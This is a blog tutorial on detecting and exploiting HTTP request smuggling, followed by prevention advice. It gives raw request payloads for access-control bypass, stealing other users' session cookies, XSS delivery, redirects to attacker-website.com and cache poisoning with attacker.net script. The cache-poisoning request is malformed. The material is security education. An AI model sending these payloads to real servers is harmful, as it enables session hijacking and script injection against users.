HTTP REQUEST SMUGGLING PART-2

• 16 May, 2022
• No Comments

Welcome to the part 2 of exciting HTTP Request Smuggling vulnerability ! In case, you have missed part 1 then here’s link to the Basics Of HTTP Request Smuggling. So now, let’s get started with most thrilling ride of identifying and exploiting the HTTP Request Smuggling!

How to find HTTP request smuggling vulnerabilities?

We can identify http request smuggling vulnerabilities using two techniques. Timing techniques and Differential Responses

• Timing Techniques

In general, HTTP request smuggling vulnerabilities are easily detected by sending requests which will cause a time delay in the application’s response if a vulnerability exists. Burp Scanner utilizes this technique to automatically detect smuggling vulnerabilities.

Finding CL.TE vulnerabilities using timing techniques

A request like this will often cause a time delay if an application is vulnerable to the CL.TE variant of request smuggling:

POST / HTTP/1.1
Host: smuggler.com
Transfer-Encoding: chunked
Content-Length: 4
 
1
A
X

Because the front-end server uses the Content-Length header, it will forward only part of the request, omitting the X. In the back-end server, the Transfer-Encoding header is used, the first chunk is processed, and the next chunk is processed. This causes a noticeable delay.

Finding TE.CL vulnerabilities using timing techniques

If an application is vulnerable to the TE.CL variant of request smuggling, then sending a request like the following will often cause a time delay:

POST / HTTP/1.1
Host: smuggler.com
Transfer-Encoding: chunked
Content-Length: 6
 
0
 
X

Because the front-end server uses the Transfer-Encoding header, it will forward only part of this request, omitting the X. In the back-end server, the Content-Length header is used to anticipate the message body’s additional content and waits for the final content to arrive. This results in a noticeable time delay.

Differential Responses

If you detect a probable request smuggling vulnerability, you can get further evidence for the vulnerability by exploiting it to trigger differences in the contents of the application’s responses. You can do this by sending two requests to the application within a short period:

• An “attack” request is designed to interfere with the processing of the next request.
• A “normal” request.

The vulnerability is confirmed if the response to the normal request contains the expected interference.

For example, suppose the normal request looks like this:

POST /search HTTP/1.1
Host: smuggling.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
 
q=smuggling

The request usually receives an HTTP response with status code 200 containing some search results.

In order to interfere with this request, a specific attack request is required: CL.TE or TE.CL depends on the variant of request smuggling present.

HTTP request smuggling attack scenarios

HTTP request smuggling to bypass front-end security controls

Some applications use the front-end web server to implement security controls, deciding whether to permit individual requests. Forwarded requests are sent to the back-end server, where they are deemed to have passed through the front-end controls.

Consider an application that uses the front-end server to implement access control restrictions, forwarding requests only if the user is authorised to access the URL. Back-end servers accept all requests without further scrutiny. In this scenario, a vulnerability in HTTP request smuggling can be exploited to bypass the access restrictions by sending a request to a restricted URL.

The current user is not permitted to access /admin but /contactus. The following request smuggling attack can be used to bypass this restriction:

POST /contactus HTTP/1.1
Host: smuggling.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
 
0
 
GET /admin HTTP/1.1
Host: smuggling.com
Foo: xGET /contactus HTTP/1.1
Host: smuggling.com

The front-end server sees two requests here, both for /contactus, so the requests are forwarded to the backend server. However, the back-end server sees one request for /contactus and one for /admin. It assumes (as always) that the requests have passed through the front-end controls, granting access to the restricted URI.

Capturing Other User’s Requests

HTTP smuggling can be used to intercept the content of other users’ requests if the application allows textual data to be stored and retrieved. They may include session tokens, enabling session hijacking attacks, or other sensitive data submitted by the user. 

In order to execute the attack, you must smuggle a request that sends data to the storage function, with the parameter containing the data placed last in the request. As a result, the next request processed by the back-end server will be appended to the smuggled request, storing the other user’s raw request.

If an applicant submits the following request to submit a blog post comment, the comment will be stored and displayed on the blog:

POST /post/comment HTTP/1.1
Host: smuggling.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
 
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

In order to smuggle the data storage request to the back-end server, you may perform the following request smuggling attack:

GET / HTTP/1.1
Host: smuggling.com
Transfer-Encoding: chunked
Content-Length: 324
 
0
 
POST /post/comment HTTP/1.1
Host: smuggling.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
 
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

Processing another user’s request through the back-end server will be appended to the smuggled request, resulting in the victim user’s request being stored, including its session cookie.

POST /post/comment HTTP/1.1
Host: smuggling.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
 
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj

You can then retrieve the details of the other user’s request by retrieving the stored data in the normal way.

Client Side Authentication Bypass

Servers authenticate themselves with clients (usually browsers) using certificates during the TLS handshake. Certificates containing “common names” (CN) should match their hosted domain names. The client can use this to verify they are communicating with a legitimate domain server.

Sites that go the extra mile implement mutual TLS authentication, requiring the client to present the server with a certificate as well. For example, CN is often a username or something similar, which is used in the back-end application logic as an access control mechanism.

One or more non-standard HTTP headers are typically passed from the component that authenticates the client to the application or backend server. For example, front-end servers sometimes append a header containing the client’s CN to any incoming requests :

GET /admin HTTP/1.1
Host: smuggling.com
X-SSL-CLIENT-CN: carlos

Back-end servers often implicitly trust these headers because they are supposed to be hidden from users. You may be able to bypass access controls if you send the right combination of headers and values.

This behaviour isn’t usually exploitable since front-end servers tend to overwrite these headers if they already exist. Smuggled requests are hidden from the front end entirely, so any headers they contain will be sent to the back end unaltered.

Using HTTP request smuggling to exploit reflected XSS

You can attack other application users by using an HTTP request smuggling attack on an application that contains both reflected XSS and HTTP request smuggling. It differs from normal exploitation of reflected XSS in two respects:

• It does not require victim interaction. It’s not necessary to give them a URL to visit. You simply send a request containing the XSS payload, and the next request processed by the backend server will be impacted.
• This can be used to exploit XSS behaviour in parts of the request that are not easily controlled in a normal reflected XSS attack, such as HTTP request headers.

Consider an application with a reflected XSS vulnerability in the User-Agent header. In a request smuggling attack, you can exploit this as follows:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
 
0
 
GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

As a result, the next user’s request will be appended to the smuggled request, and the reflected payload will be sent back.

Using HTTP request smuggling to turn an on-site redirect into an open redirect

Many applications perform on-site redirects from one URL to another and place the hostname from the request’s Host header into the redirect URL. An example of this is the default behavior of Apache and IIS web servers, where a request for a folder without a trailing slash receives a redirect to the same folder including the trailing slash:

GET /home HTTP/1.1
Host: normal-website.com
 
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Normally, this behaviour is considered harmless, but it can be exploited to redirect other users to an external domain in a request smuggling attack. For example:

POST / HTTP/1.1
Host: smuggled.com
Content-Length: 54
Transfer-Encoding: chunked
 
0
 
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

If the smuggled request triggers a redirect to the attacker’s website, the next user’s request will be affected by the redirect. For example:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: smuggled.com
 
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

The user requested a JavaScript file that was imported by a page on the website. By returning their own JavaScript in the response, the attacker can fully compromise the victim.

Using HTTP request smuggling to perform web cache poisoning

A poisoned cache could affect the server’s response if any part of the front-end infrastructure caches the content.

The server could return the contents of /index.html when the poisoned request asks for /static/include.js. This will make /static/include.js inaccessible to the client when caching the content of /index.html.

The situation becomes even more interesting if you find an Open Redirect or some on-site redirect to an Open Redirect. Since you could replace the cache values of /static/include.js with the ones set by a script you are able to control.

This example demonstrates how you can exploit a cache poisoning + on-site redirect to open redirect to modify the contents of the cache of /static/include.js and serve JS code controlled by the attacker:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
\ `0`\
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
``
x=1

Note how the embedded request is asking for /post/next?postId=3 This request is going to be redirected to /post?postId=4 and will use the value of the Host header to indicate the domain. In this instance, you would modify the Host header to point to the attacker’s server, and the redirect would use the attacker’s domain (on-site redirect to open redirect).

Once the socket has been poisoned, you need to send a GET request to **/static/include.js**. This will be poisoned by the on-site redirect to open a redirect request and will grab the contents of the attacker-controlled script.

A request for /static/include.js will result in the server serving the cached content of the attacker’s script.

How to prevent HTTP request smuggling vulnerabilities

A sophisticated HTTP smuggling attack exploits the server protocol interpretation and configuration ambiguities.

To reduce their exposure to this vulnerability, IT professionals can consider several options:

• Interpret HTTP headers consistently on front-end and back-end servers—clearly, this is the best option for prevention. However, it is not always an option, as load balancers are generally hardware appliances that support backend servers running on distinct platforms. If you cannot run the same software on both front-end and back-end, you should at least be aware of how each server deals with HTTP headers and ensure they consistently interpret HTTP requests.
• Disable vulnerable optimizations—if you cannot change backend configuration, disable any performance optimizations that use the Transfer-Encoding or Content-Length header. This might hurt the efficiency of the web environment but is highly effective at preventing this attack.

• You should avoid using load balancers, content delivery networks (CDNs), and reverse proxies if they are not needed for your setup.

• Use HTTP/2 – making sure the front-end and back-end servers only communicate using HTTP/2 can prevent most variants of this attack.

• Disable connection reuse on the back-end server, if it’s possible in your environment. This will prevent HTTP request smuggling entirely.

• Configure the front-end server to normalize ambiguous requests before sending them to the back-end server.

• Do not expose logged HTTP traffic to users, as this exposes unintended parts of an HTTP request to potential attackers.

• Utilize a web application firewall (WAF)—most WAFs include technology that identifies and blocks or sanitizes HTTP traffic, such as requests for smuggling directives. Those who are currently using a WAF should verify that the level of protection has been activated with the vendor. To safeguard against an HTTP request smuggling vulnerability, it is important to check whether any WAF configuration changes are needed.

Conclusion

HTTP request smuggling reappeared in the cyber world due to incompatibilities between front end and back end servers. So, If we combine all the prevention methods which includes use of http2,using firewall and disabling reuse on back end server then we can achieve good prevention from http request smuggling. Rest we can always keep upgrading and updating our server with newest security methodologies !